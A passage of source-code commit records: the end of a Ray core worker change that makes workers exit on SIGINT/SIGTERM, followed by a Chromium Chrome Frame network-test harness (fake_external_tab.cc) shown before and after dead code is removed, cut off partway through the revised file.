io_service_.run(); }\n\nstd::unique_ptr<worker::ProfileEvent> CoreWorker::CreateProfileEvent(\n    const std::string &event_type) {\n  return std::unique_ptr<worker::ProfileEvent>(\n      new worker::ProfileEvent(profiler_, event_type));\n}\n\n}  \/\/ namespace ray\n<commit_msg>Just die on signal (#5842)<commit_after>#include <boost\/asio\/signal_set.hpp>\n\n#include \"ray\/core_worker\/context.h\"\n#include \"ray\/core_worker\/core_worker.h\"\n\nnamespace ray {\n\nCoreWorker::CoreWorker(\n    const WorkerType worker_type, const Language language,\n    const std::string &store_socket, const std::string &raylet_socket,\n    const JobID &job_id, const gcs::GcsClientOptions &gcs_options,\n    const std::string &log_dir, const std::string &node_ip_address,\n    const CoreWorkerTaskExecutionInterface::TaskExecutor &execution_callback,\n    bool use_memory_store)\n    : worker_type_(worker_type),\n      language_(language),\n      raylet_socket_(raylet_socket),\n      log_dir_(log_dir),\n      worker_context_(worker_type, job_id),\n      io_work_(io_service_) {\n  \/\/ Initialize logging if log_dir is passed. Otherwise, it must be initialized\n  \/\/ and cleaned up by the caller.\n  if (!log_dir_.empty()) {\n    std::stringstream app_name;\n    app_name << LanguageString(language_) << \"-\" << WorkerTypeString(worker_type_) << \"-\"\n             << worker_context_.GetWorkerID();\n    RayLog::StartRayLog(app_name.str(), RayLogLevel::INFO, log_dir_);\n    RayLog::InstallFailureSignalHandler();\n  }\n\n  boost::asio::signal_set signals(io_service_, SIGINT, SIGTERM);\n  signals.async_wait(\n      [](const boost::system::error_code &error, int signal_number) -> void {\n        if (!error) {\n          exit(signal_number);\n        }\n      });\n\n  \/\/ Initialize gcs client.\n  gcs_client_ =\n      std::unique_ptr<gcs::RedisGcsClient>(new gcs::RedisGcsClient(gcs_options));\n  RAY_CHECK_OK(gcs_client_->Connect(io_service_));\n\n  \/\/ Initialize profiler.\n  profiler_ = std::make_shared<worker::Profiler>(worker_context_, node_ip_address,\n                                                 io_service_, gcs_client_);\n\n  object_interface_ =\n      std::unique_ptr<CoreWorkerObjectInterface>(new CoreWorkerObjectInterface(\n          worker_context_, raylet_client_, store_socket, use_memory_store));\n  task_interface_ = std::unique_ptr<CoreWorkerTaskInterface>(new CoreWorkerTaskInterface(\n      worker_context_, raylet_client_, *object_interface_, io_service_, *gcs_client_));\n\n  \/\/ Initialize task execution.\n  int rpc_server_port = 0;\n  if (worker_type_ == WorkerType::WORKER) {\n    \/\/ TODO(edoakes): Remove this check once Python core worker migration is complete.\n    if (language != Language::PYTHON || execution_callback != nullptr) {\n      RAY_CHECK(execution_callback != nullptr);\n      task_execution_interface_ = std::unique_ptr<CoreWorkerTaskExecutionInterface>(\n          new CoreWorkerTaskExecutionInterface(worker_context_, raylet_client_,\n                                               *object_interface_, execution_callback));\n      rpc_server_port = task_execution_interface_->worker_server_.GetPort();\n    }\n  }\n\n  \/\/ Initialize raylet client.\n  \/\/ TODO(zhijunfu): currently RayletClient would crash in its constructor if it cannot\n  \/\/ connect to Raylet after a number of retries, this can be changed later\n  \/\/ so that the worker (java\/python .etc) can retrieve and handle the error\n  \/\/ instead of crashing.\n  raylet_client_ = std::unique_ptr<RayletClient>(new RayletClient(\n      raylet_socket_, WorkerID::FromBinary(worker_context_.GetWorkerID().Binary()),\n      (worker_type_ == ray::WorkerType::WORKER), worker_context_.GetCurrentJobID(),\n      language_, rpc_server_port));\n\n  io_thread_ = std::thread(&CoreWorker::StartIOService, this);\n\n  \/\/ Create an entry for the driver task in the task table. This task is\n  \/\/ added immediately with status RUNNING. This allows us to push errors\n  \/\/ related to this driver task back to the driver. For example, if the\n  \/\/ driver creates an object that is later evicted, we should notify the\n  \/\/ user that we're unable to reconstruct the object, since we cannot\n  \/\/ rerun the driver.\n  if (worker_type_ == WorkerType::DRIVER) {\n    TaskSpecBuilder builder;\n    std::vector<std::string> empty_descriptor;\n    std::unordered_map<std::string, double> empty_resources;\n    const TaskID task_id = TaskID::ForDriverTask(worker_context_.GetCurrentJobID());\n    builder.SetCommonTaskSpec(task_id, language_, empty_descriptor,\n                              worker_context_.GetCurrentJobID(),\n                              TaskID::ComputeDriverTaskId(worker_context_.GetWorkerID()),\n                              0, 0, empty_resources, empty_resources);\n\n    std::shared_ptr<gcs::TaskTableData> data = std::make_shared<gcs::TaskTableData>();\n    data->mutable_task()->mutable_task_spec()->CopyFrom(builder.Build().GetMessage());\n    RAY_CHECK_OK(gcs_client_->raylet_task_table().Add(job_id, task_id, data, nullptr));\n    worker_context_.SetCurrentTaskId(task_id);\n  }\n}\n\nCoreWorker::~CoreWorker() {\n  io_service_.stop();\n  io_thread_.join();\n  if (task_execution_interface_) {\n    task_execution_interface_->Stop();\n  }\n  if (log_dir_ != \"\") {\n    RayLog::ShutDownRayLog();\n  }\n}\n\nvoid CoreWorker::Disconnect() {\n  if (gcs_client_) {\n    gcs_client_->Disconnect();\n  }\n  if (raylet_client_) {\n    RAY_IGNORE_EXPR(raylet_client_->Disconnect());\n  }\n}\n\nvoid CoreWorker::StartIOService() { io_service_.run(); }\n\nstd::unique_ptr<worker::ProfileEvent> CoreWorker::CreateProfileEvent(\n    const std::string &event_type) {\n  return std::unique_ptr<worker::ProfileEvent>(\n      new worker::ProfileEvent(profiler_, event_type));\n}\n\n}  \/\/ namespace ray\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/test\/net\/fake_external_tab.h\"\n\n#include <exdisp.h>\n\n#include \"app\/app_paths.h\"\n#include \"app\/resource_bundle.h\"\n#include \"app\/win_util.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/i18n\/icu_util.h\"\n#include \"base\/path_service.h\"\n#include \"base\/scoped_bstr_win.h\"\n#include \"base\/scoped_comptr_win.h\"\n#include \"base\/scoped_variant_win.h\"\n\n#include \"chrome\/browser\/browser_prefs.h\"\n#include \"chrome\/browser\/plugin_service.h\"\n#include \"chrome\/browser\/process_singleton.h\"\n#include \"chrome\/browser\/profile_manager.h\"\n#include \"chrome\/browser\/renderer_host\/render_process_host.h\"\n#include \"chrome\/browser\/renderer_host\/web_cache_manager.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_paths_internal.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/pref_service.h\"\n#include \"chrome_frame\/utils.h\"\n#include \"chrome_frame\/test\/chrome_frame_test_utils.h\"\n#include \"chrome_frame\/test\/net\/dialog_watchdog.h\"\n#include \"chrome_frame\/test\/net\/test_automation_resource_message_filter.h\"\n\nnamespace {\n\n\/\/ A special command line switch to allow developers to manually launch the\n\/\/ browser and debug CF inside the browser.\nconst wchar_t kManualBrowserLaunch[] = L\"manual-browser\";\n\n\/\/ Pops up a message box after the test environment has been set up\n\/\/ and before tearing it down.  Useful for when debugging tests and not\n\/\/ the test environment that's been set up.\nconst wchar_t kPromptAfterSetup[] = L\"prompt-after-setup\";\n\nconst int kTestServerPort = 4666;\n\/\/ The test HTML we use to initialize Chrome Frame.\n\/\/ Note that there's a little trick in there to avoid an extra URL request\n\/\/ that the browser will otherwise make for the site's favicon.\n\/\/ If we don't do this the browser will create a new URL request after\n\/\/ the CF page has been initialized and that URL request will confuse the\n\/\/ global URL instance counter in the unit tests and subsequently trip\n\/\/ some DCHECKs.\nconst char kChromeFrameHtml[] = \"<html><head>\"\n    \"<meta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"chrome=1\\\" \/>\"\n    \"<link rel=\\\"shortcut icon\\\" href=\\\"file:\/\/c:\\\\favicon.ico\\\"\/>\"\n    \"<\/head><body>Chrome Frame should now be loaded<\/body><\/html>\";\n\nbool ShouldLaunchBrowser() {\n  return !CommandLine::ForCurrentProcess()->HasSwitch(kManualBrowserLaunch);\n}\n\nbool PromptAfterSetup() {\n  return CommandLine::ForCurrentProcess()->HasSwitch(kPromptAfterSetup);\n}\n\n}  \/\/ end namespace\n\nFakeExternalTab::FakeExternalTab() {\n  PathService::Get(chrome::DIR_USER_DATA, &overridden_user_dir_);\n  GetProfilePath(&user_data_dir_);\n  PathService::Override(chrome::DIR_USER_DATA, user_data_dir_);\n  process_singleton_.reset(new ProcessSingleton(user_data_dir_));\n}\n\nFakeExternalTab::~FakeExternalTab() {\n  if (!overridden_user_dir_.empty()) {\n    PathService::Override(chrome::DIR_USER_DATA, overridden_user_dir_);\n  }\n}\n\nstd::wstring FakeExternalTab::GetProfileName() {\n  return L\"iexplore\";\n}\n\nbool FakeExternalTab::GetProfilePath(FilePath* path) {\n  if (!chrome::GetChromeFrameUserDataDirectory(path))\n    return false;\n  *path = path->Append(GetProfileName());\n  return true;\n}\n\nvoid FakeExternalTab::Initialize() {\n  DCHECK(g_browser_process == NULL);\n  SystemMonitor system_monitor;\n\n  \/\/ The gears plugin causes the PluginRequestInterceptor to kick in and it\n  \/\/ will cause problems when it tries to intercept URL requests.\n  PathService::Override(chrome::FILE_GEARS_PLUGIN, FilePath());\n\n  icu_util::Initialize();\n\n  chrome::RegisterPathProvider();\n  app::RegisterPathProvider();\n\n  \/\/ Load Chrome.dll as our resource dll.\n  FilePath dll;\n  PathService::Get(base::DIR_MODULE, &dll);\n  dll = dll.Append(chrome::kBrowserResourcesDll);\n  HMODULE res_mod = ::LoadLibraryExW(dll.value().c_str(),\n      NULL, LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);\n  DCHECK(res_mod);\n  _AtlBaseModule.SetResourceInstance(res_mod);\n\n  ResourceBundle::InitSharedInstance(L\"en-US\");\n\n  CommandLine* cmd = CommandLine::ForCurrentProcess();\n  cmd->AppendSwitch(switches::kDisableWebResources);\n  cmd->AppendSwitch(switches::kSingleProcess);\n\n  browser_process_.reset(new BrowserProcessImpl(*cmd));\n  \/\/ BrowserProcessImpl's constructor should set g_browser_process.\n  DCHECK(g_browser_process);\n  \/\/ Set the app locale and create the child threads.\n  g_browser_process->set_application_locale(\"en-US\");\n  g_browser_process->db_thread();\n  g_browser_process->file_thread();\n  g_browser_process->io_thread();\n\n  RenderProcessHost::set_run_renderer_in_process(true);\n\n  Profile* profile = g_browser_process->profile_manager()->\n      GetDefaultProfile(FilePath(user_data()));\n  PrefService* prefs = profile->GetPrefs();\n  DCHECK(prefs != NULL);\n\n  WebCacheManager::RegisterPrefs(prefs);\n  PrefService* local_state = browser_process_->local_state();\n  local_state->RegisterStringPref(prefs::kApplicationLocale, L\"\");\n  local_state->RegisterBooleanPref(prefs::kMetricsReportingEnabled, false);\n\n  browser::RegisterLocalState(local_state);\n\n  \/\/ Override some settings to avoid hitting some preferences that have not\n  \/\/ been registered.\n  prefs->SetBoolean(prefs::kPasswordManagerEnabled, false);\n  prefs->SetBoolean(prefs::kAlternateErrorPagesEnabled, false);\n  prefs->SetBoolean(prefs::kSafeBrowsingEnabled, false);\n\n  profile->InitExtensions();\n}\n\nvoid FakeExternalTab::Shutdown() {\n  browser_process_.reset();\n  g_browser_process = NULL;\n  process_singleton_.reset();\n\n  ResourceBundle::CleanupSharedInstance();\n}\n\nCFUrlRequestUnittestRunner::CFUrlRequestUnittestRunner(int argc, char** argv)\n    : NetTestSuite(argc, argv),\n      chrome_frame_html_(\"\/chrome_frame\", kChromeFrameHtml) {\n  \/\/ Register the main thread by instantiating it, but don't call any methods.\n  main_thread_.reset(new ChromeThread(ChromeThread::UI,\n                                      MessageLoop::current()));\n  DCHECK(ChromeThread::CurrentlyOn(ChromeThread::UI));\n  fake_chrome_.Initialize();\n  pss_subclass_.reset(new ProcessSingletonSubclass(this));\n  EXPECT_TRUE(pss_subclass_->Subclass(fake_chrome_.user_data()));\n  StartChromeFrameInHostBrowser();\n}\n\nCFUrlRequestUnittestRunner::~CFUrlRequestUnittestRunner() {\n  fake_chrome_.Shutdown();\n}\n\nDWORD WINAPI NavigateIE(void* param) {\n  return 0;\n  win_util::ScopedCOMInitializer com;\n  BSTR url = reinterpret_cast<BSTR>(param);\n\n  bool found = false;\n  int retries = 0;\n  const int kMaxRetries = 20;\n  while (!found && retries < kMaxRetries) {\n    ScopedComPtr<IShellWindows> windows;\n    HRESULT hr = ::CoCreateInstance(__uuidof(ShellWindows), NULL, CLSCTX_ALL,\n        IID_IShellWindows, reinterpret_cast<void**>(windows.Receive()));\n    DCHECK(SUCCEEDED(hr)) << \"CoCreateInstance\";\n\n    if (SUCCEEDED(hr)) {\n      hr = HRESULT_FROM_WIN32(ERROR_NOT_FOUND);\n      long count = 0;  \/\/ NOLINT\n      windows->get_Count(&count);\n      VARIANT i = { VT_I4 };\n      for (i.lVal = 0; i.lVal < count; ++i.lVal) {\n        ScopedComPtr<IDispatch> folder;\n        windows->Item(i, folder.Receive());\n        if (folder != NULL) {\n          ScopedComPtr<IWebBrowser2> browser;\n          if (SUCCEEDED(browser.QueryFrom(folder))) {\n            found = true;\n            browser->Stop();\n            Sleep(1000);\n            VARIANT empty = ScopedVariant::kEmptyVariant;\n            hr = browser->Navigate(url, &empty, &empty, &empty, &empty);\n            DCHECK(SUCCEEDED(hr)) << \"Failed to navigate\";\n            break;\n          }\n        }\n      }\n    }\n    if (!found) {\n      DLOG(INFO) << \"Waiting for browser to initialize...\";\n      ::Sleep(100);\n      retries++;\n    }\n  }\n\n  DCHECK(retries < kMaxRetries);\n  DCHECK(found);\n\n  ::SysFreeString(url);\n\n  return 0;\n}\n\nvoid CFUrlRequestUnittestRunner::StartChromeFrameInHostBrowser() {\n  if (!ShouldLaunchBrowser())\n    return;\n\n  win_util::ScopedCOMInitializer com;\n  chrome_frame_test::CloseAllIEWindows();\n\n  test_http_server_.reset(new test_server::SimpleWebServer(kTestServerPort));\n  test_http_server_->AddResponse(&chrome_frame_html_);\n  std::wstring url(StringPrintf(L\"http:\/\/localhost:%i\/chrome_frame\",\n                                kTestServerPort).c_str());\n\n  \/\/ Launch IE.  This launches IE correctly on Vista too.\n  ScopedHandle ie_process(chrome_frame_test::LaunchIE(url));\n  EXPECT_TRUE(ie_process.IsValid());\n\n  \/\/ NOTE: If you're running IE8 and CF is not being loaded, you need to\n  \/\/ disable IE8's prebinding until CF properly handles that situation.\n  \/\/\n  \/\/ HKCU\\Software\\Microsoft\\Internet Explorer\\Main\n  \/\/ Value name: EnablePreBinding (REG_DWORD)\n  \/\/ Value: 0\n}\n\nvoid CFUrlRequestUnittestRunner::ShutDownHostBrowser() {\n  if (ShouldLaunchBrowser()) {\n    win_util::ScopedCOMInitializer com;\n    chrome_frame_test::CloseAllIEWindows();\n  }\n}\n\n\/\/ Override virtual void Initialize to not call icu initialize\nvoid CFUrlRequestUnittestRunner::Initialize() {\n  DCHECK(::GetCurrentThreadId() == test_thread_id_);\n\n  \/\/ Start by replicating some of the steps that would otherwise be\n  \/\/ done by TestSuite::Initialize.  We can't call the base class\n  \/\/ directly because it will attempt to initialize some things such as\n  \/\/ ICU that have already been initialized for this process.\n  InitializeLogging();\n  base::Time::UseHighResolutionTimer(true);\n\n#if !defined(PURIFY) && defined(OS_WIN)\n  logging::SetLogAssertHandler(UnitTestAssertHandler);\n#endif  \/\/ !defined(PURIFY)\n\n  \/\/ Next, do some initialization for NetTestSuite.\n  NetTestSuite::InitializeTestThread();\n}\n\nvoid CFUrlRequestUnittestRunner::Shutdown() {\n  DCHECK(::GetCurrentThreadId() == test_thread_id_);\n  NetTestSuite::Shutdown();\n}\n\nvoid CFUrlRequestUnittestRunner::OnConnectAutomationProviderToChannel(\n    const std::string& channel_id) {\n  Profile* profile = g_browser_process->profile_manager()->\n      GetDefaultProfile(fake_chrome_.user_data());\n\n  AutomationProviderList* list =\n      g_browser_process->InitAutomationProviderList();\n  DCHECK(list);\n  list->AddProvider(TestAutomationProvider::NewAutomationProvider(profile,\n      channel_id, this));\n}\n\nvoid CFUrlRequestUnittestRunner::OnInitialTabLoaded() {\n  test_http_server_.reset();\n  StartTests();\n}\n\nvoid CFUrlRequestUnittestRunner::RunMainUIThread() {\n  DCHECK(MessageLoop::current());\n  DCHECK(MessageLoop::current()->type() == MessageLoop::TYPE_UI);\n  MessageLoop::current()->Run();\n}\n\nvoid CFUrlRequestUnittestRunner::StartTests() {\n  if (PromptAfterSetup())\n    MessageBoxA(NULL, \"click ok to run\", \"\", MB_OK);\n\n  DCHECK_EQ(test_thread_.IsValid(), false);\n  test_thread_.Set(::CreateThread(NULL, 0, RunAllUnittests, this, 0,\n                                  &test_thread_id_));\n  DCHECK(test_thread_.IsValid());\n}\n\n\/\/ static\nDWORD CFUrlRequestUnittestRunner::RunAllUnittests(void* param) {\n  PlatformThread::SetName(\"CFUrlRequestUnittestRunner\");\n  \/\/ Needed for some url request tests like the intercept job tests, etc.\n  NotificationService service;\n  CFUrlRequestUnittestRunner* me =\n      reinterpret_cast<CFUrlRequestUnittestRunner*>(param);\n  me->Run();\n  me->fake_chrome_.ui_loop()->PostTask(FROM_HERE,\n      NewRunnableFunction(TakeDownBrowser, me));\n  return 0;\n}\n\n\/\/ static\nvoid CFUrlRequestUnittestRunner::TakeDownBrowser(\n    CFUrlRequestUnittestRunner* me) {\n  if (PromptAfterSetup())\n    MessageBoxA(NULL, \"click ok to exit\", \"\", MB_OK);\n\n  me->ShutDownHostBrowser();\n}\n\nvoid CFUrlRequestUnittestRunner::InitializeLogging() {\n  FilePath exe;\n  PathService::Get(base::FILE_EXE, &exe);\n  FilePath log_filename = exe.ReplaceExtension(FILE_PATH_LITERAL(\"log\"));\n  logging::InitLogging(log_filename.value().c_str(),\n                       logging::LOG_TO_BOTH_FILE_AND_SYSTEM_DEBUG_LOG,\n                       logging::LOCK_LOG_FILE,\n                       logging::DELETE_OLD_LOG_FILE);\n  \/\/ We want process and thread IDs because we may have multiple processes.\n  \/\/ Note: temporarily enabled timestamps in an effort to catch bug 6361.\n  logging::SetLogItems(true, true, true, true);\n}\n\nvoid FilterDisabledTests() {\n  if (::testing::FLAGS_gtest_filter.length() &&\n      ::testing::FLAGS_gtest_filter.Compare(\"*\") != 0) {\n    \/\/ Don't override user specified filters.\n    return;\n  }\n\n  const char* disabled_tests[] = {\n    \/\/ Tests disabled since they're testing the same functionality used\n    \/\/ by the TestAutomationProvider.\n    \"URLRequestTest.Intercept\",\n    \"URLRequestTest.InterceptNetworkError\",\n    \"URLRequestTest.InterceptRestartRequired\",\n    \"URLRequestTest.InterceptRespectsCancelMain\",\n    \"URLRequestTest.InterceptRespectsCancelRedirect\",\n    \"URLRequestTest.InterceptRespectsCancelFinal\",\n    \"URLRequestTest.InterceptRespectsCancelInRestart\",\n    \"URLRequestTest.InterceptRedirect\",\n    \"URLRequestTest.InterceptServerError\",\n    \"URLRequestTestFTP.*\",\n\n    \/\/ Tests that are currently not working:\n\n    \/\/ Temporarily disabled because they needs user input (login dialog).\n    \"URLRequestTestHTTP.BasicAuth\",\n    \"URLRequestTestHTTP.BasicAuthWithCookies\",\n\n    \/\/ HTTPS tests temporarily disabled due to the certificate error dialog.\n    \/\/ TODO(tommi): The tests currently fail though, so need to fix.\n    \"HTTPSRequestTest.HTTPSMismatchedTest\",\n    \"HTTPSRequestTest.HTTPSExpiredTest\",\n\n    \/\/ Tests chrome's network stack's cache (might not apply to CF).\n    \"URLRequestTestHTTP.VaryHeader\",\n\n    \/\/ I suspect we can only get this one to work (if at all) on IE8 and\n    \/\/ later by using the new INTERNET_OPTION_SUPPRESS_BEHAVIOR flags\n    \/\/ See http:\/\/msdn.microsoft.com\/en-us\/library\/aa385328(VS.85).aspx\n    \"URLRequestTest.DoNotSaveCookies\",\n\n    \/\/ TODO(ananta): This test has been consistently failing. Disabling it for\n    \/\/ now.\n    \"URLRequestTestHTTP.GetTest_NoCache\",\n  };\n\n  std::string filter(\"-\");  \/\/ All following filters will be negative.\n  for (int i = 0; i < arraysize(disabled_tests); ++i) {\n    if (i > 0)\n      filter += \":\";\n    filter += disabled_tests[i];\n  }\n\n  ::testing::FLAGS_gtest_filter = filter;\n}\n\nint main(int argc, char** argv) {\n  DialogWatchdog watchdog;\n  \/\/ See url_request_unittest.cc for these credentials.\n  SupplyProxyCredentials credentials(\"user\", \"secret\");\n  watchdog.AddObserver(&credentials);\n  testing::InitGoogleTest(&argc, argv);\n  FilterDisabledTests();\n  PluginService::EnableChromePlugins(false);\n  CFUrlRequestUnittestRunner test_suite(argc, argv);\n  test_suite.RunMainUIThread();\n  return 0;\n}\n<commit_msg>Cleaning up dangling changes: remove dead code in fake_external_tab.cc.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/test\/net\/fake_external_tab.h\"\n\n#include <exdisp.h>\n\n#include \"app\/app_paths.h\"\n#include \"app\/resource_bundle.h\"\n#include \"app\/win_util.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/i18n\/icu_util.h\"\n#include \"base\/path_service.h\"\n#include \"base\/scoped_bstr_win.h\"\n#include \"base\/scoped_comptr_win.h\"\n#include \"base\/scoped_variant_win.h\"\n\n#include \"chrome\/browser\/browser_prefs.h\"\n#include \"chrome\/browser\/plugin_service.h\"\n#include \"chrome\/browser\/process_singleton.h\"\n#include \"chrome\/browser\/profile_manager.h\"\n#include \"chrome\/browser\/renderer_host\/render_process_host.h\"\n#include \"chrome\/browser\/renderer_host\/web_cache_manager.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_paths_internal.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/pref_service.h\"\n#include \"chrome_frame\/utils.h\"\n#include \"chrome_frame\/test\/chrome_frame_test_utils.h\"\n#include \"chrome_frame\/test\/net\/dialog_watchdog.h\"\n#include \"chrome_frame\/test\/net\/test_automation_resource_message_filter.h\"\n\nnamespace {\n\n\/\/ A special command line switch to allow developers to manually launch the\n\/\/ browser and debug CF inside the browser.\nconst wchar_t kManualBrowserLaunch[] = L\"manual-browser\";\n\n\/\/ Pops up a message box after the test environment has been set up\n\/\/ and before tearing it down.  Useful for when debugging tests and not\n\/\/ the test environment that's been set up.\nconst wchar_t kPromptAfterSetup[] = L\"prompt-after-setup\";\n\nconst int kTestServerPort = 4666;\n\/\/ The test HTML we use to initialize Chrome Frame.\n\/\/ Note that there's a little trick in there to avoid an extra URL request\n\/\/ that the browser will otherwise make for the site's favicon.\n\/\/ If we don't do this the browser will create a new URL request after\n\/\/ the CF page has been initialized and that URL request will confuse the\n\/\/ global URL instance counter in the unit tests and subsequently trip\n\/\/ some DCHECKs.\nconst char kChromeFrameHtml[] = \"<html><head>\"\n    \"<meta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"chrome=1\\\" \/>\"\n    \"<link rel=\\\"shortcut icon\\\" href=\\\"file:\/\/c:\\\\favicon.ico\\\"\/>\"\n    \"<\/head><body>Chrome Frame should now be loaded<\/body><\/html>\";\n\nbool ShouldLaunchBrowser() {\n  return !CommandLine::ForCurrentProcess()->HasSwitch(kManualBrowserLaunch);\n}\n\nbool PromptAfterSetup() {\n  return CommandLine::ForCurrentProcess()->HasSwitch(kPromptAfterSetup);\n}\n\n}  \/\/ end namespace\n\nFakeExternalTab::FakeExternalTab() {\n  PathService::Get(chrome::DIR_USER_DATA, &overridden_user_dir_);\n  GetProfilePath(&user_data_dir_);\n  PathService::Override(chrome::DIR_USER_DATA, user_data_dir_);\n  process_singleton_.reset(new ProcessSingleton(user_data_dir_));\n}\n\nFakeExternalTab::~FakeExternalTab() {\n  if (!overridden_user_dir_.empty()) {\n    PathService::Override(chrome::DIR_USER_DATA, overridden_user_dir_);\n  }\n}\n\nstd::wstring FakeExternalTab::GetProfileName() {\n  return L\"iexplore\";\n}\n\nbool FakeExternalTab::GetProfilePath(FilePath* path) {\n  if (!chrome::GetChromeFrameUserDataDirectory(path))\n    return false;\n  *path = path->Append(GetProfileName());\n  return true;\n}\n\nvoid FakeExternalTab::Initialize() {\n  DCHECK(g_browser_process == NULL);\n  SystemMonitor system_monitor;\n\n  \/\/ The gears plugin causes the PluginRequestInterceptor to kick in and it\n  \/\/ will cause problems when it tries to intercept URL requests.\n  PathService::Override(chrome::FILE_GEARS_PLUGIN, FilePath());\n\n  icu_util::Initialize();\n\n  chrome::RegisterPathProvider();\n  app::RegisterPathProvider();\n\n  \/\/ Load Chrome.dll as our resource dll.\n  FilePath dll;\n  PathService::Get(base::DIR_MODULE, &dll);\n  dll = dll.Append(chrome::kBrowserResourcesDll);\n  HMODULE res_mod = ::LoadLibraryExW(dll.value().c_str(),\n      NULL, LOAD_LIBRARY_AS_DATAFILE | LOAD_LIBRARY_AS_IMAGE_RESOURCE);\n  DCHECK(res_mod);\n  _AtlBaseModule.SetResourceInstance(res_mod);\n\n  ResourceBundle::InitSharedInstance(L\"en-US\");\n\n  CommandLine* cmd = CommandLine::ForCurrentProcess();\n  cmd->AppendSwitch(switches::kDisableWebResources);\n  cmd->AppendSwitch(switches::kSingleProcess);\n\n  browser_process_.reset(new BrowserProcessImpl(*cmd));\n  \/\/ BrowserProcessImpl's constructor should set g_browser_process.\n  DCHECK(g_browser_process);\n  \/\/ Set the app locale and create the child threads.\n  g_browser_process->set_application_locale(\"en-US\");\n  g_browser_process->db_thread();\n  g_browser_process->file_thread();\n  g_browser_process->io_thread();\n\n  RenderProcessHost::set_run_renderer_in_process(true);\n\n  Profile* profile = g_browser_process->profile_manager()->\n      GetDefaultProfile(FilePath(user_data()));\n  PrefService* prefs = profile->GetPrefs();\n  DCHECK(prefs != NULL);\n\n  WebCacheManager::RegisterPrefs(prefs);\n  PrefService* local_state = browser_process_->local_state();\n  local_state->RegisterStringPref(prefs::kApplicationLocale, L\"\");\n  local_state->RegisterBooleanPref(prefs::kMetricsReportingEnabled, false);\n\n  browser::RegisterLocalState(local_state);\n\n  \/\/ Override some settings to avoid hitting some preferences that have not\n  \/\/ been registered.\n  prefs->SetBoolean(prefs::kPasswordManagerEnabled, false);\n  prefs->SetBoolean(prefs::kAlternateErrorPagesEnabled, false);\n  prefs->SetBoolean(prefs::kSafeBrowsingEnabled, false);\n\n  profile->InitExtensions();\n}\n\nvoid FakeExternalTab::Shutdown() {\n  browser_process_.reset();\n  g_browser_process = NULL;\n  process_singleton_.reset();\n\n  ResourceBundle::CleanupSharedInstance();\n}\n\nCFUrlRequestUnittestRunner::CFUrlRequestUnittestRunner(int argc, char** argv)\n    : NetTestSuite(argc, argv),\n      chrome_frame_html_(\"\/chrome_frame\", kChromeFrameHtml) {\n  \/\/ Register the main thread by instantiating it, but don't call any methods.\n  main_thread_.reset(new ChromeThread(ChromeThread::UI,\n                                      MessageLoop::current()));\n  DCHECK(ChromeThread::CurrentlyOn(ChromeThread::UI));\n  fake_chrome_.Initialize();\n  pss_subclass_.reset(new ProcessSingletonSubclass(this));\n  EXPECT_TRUE(pss_subclass_->Subclass(fake_chrome_.user_data()));\n  StartChromeFrameInHostBrowser();\n}\n\nCFUrlRequestUnittestRunner::~CFUrlRequestUnittestRunner() {\n  fake_chrome_.Shutdown();\n}\n\nvoid CFUrlRequestUnittestRunner::StartChromeFrameInHostBrowser() {\n  if (!ShouldLaunchBrowser())\n    return;\n\n  win_util::ScopedCOMInitializer com;\n  chrome_frame_test::CloseAllIEWindows();\n\n  test_http_server_.reset(new test_server::SimpleWebServer(kTestServerPort));\n  test_http_server_->AddResponse(&chrome_frame_html_);\n  std::wstring url(StringPrintf(L\"http:\/\/localhost:%i\/chrome_frame\",\n                                kTestServerPort).c_str());\n\n  \/\/ Launch IE.  This launches IE correctly on Vista too.\n  ScopedHandle ie_process(chrome_frame_test::LaunchIE(url));\n  EXPECT_TRUE(ie_process.IsValid());\n\n  \/\/ NOTE: If you're running IE8 and CF is not being loaded, you need to\n  \/\/ disable IE8's prebinding until CF properly handles that situation.\n  \/\/\n  \/\/ HKCU\\Software\\Microsoft\\Internet Explorer\\Main\n  \/\/ Value name: EnablePreBinding (REG_DWORD)\n  \/\/ Value: 0\n}\n\nvoid CFUrlRequestUnittestRunner::ShutDownHostBrowser() {\n  if (ShouldLaunchBrowser()) {\n    win_util::ScopedCOMInitializer com;\n    chrome_frame_test::CloseAllIEWindows();\n  }\n}\n\n\/\/ Override virtual void Initialize to not call icu initialize\nvoid CFUrlRequestUnittestRunner::Initialize() {\n  DCHECK(::GetCurrentThreadId() == test_thread_id_);\n\n  \/\/ Start by replicating some of the steps that would otherwise be\n  \/\/ done by TestSuite::Initialize.  We can't call the base class\n  \/\/ directly because it will attempt to initialize some things such as\n  \/\/ ICU that have already been initialized for this process.\n  InitializeLogging();\n  base::Time::UseHighResolutionTimer(true);\n\n#if !defined(PURIFY) && defined(OS_WIN)\n  logging::SetLogAssertHandler(UnitTestAssertHandler);\n#endif  \/\/ !defined(PURIFY)\n\n  \/\/ Next, do some initialization for NetTestSuite.\n  NetTestSuite::InitializeTestThread();\n}\n\nvoid CFUrlRequestUnittestRunner::Shutdown() {\n  DCHECK(::GetCurrentThreadId() == test_thread_id_);\n  NetTestSuite::Shutdown();\n}\n\nvoid CFUrlRequestUnittestRunner::OnConnectAutomationProviderToChannel(\n    const std::string& channel_id) {\n  Profile* profile = g_browser_process->profile_manager()->\n      GetDefaultProfile(fake_chrome_.user_data());\n\n  AutomationProviderList* list =\n      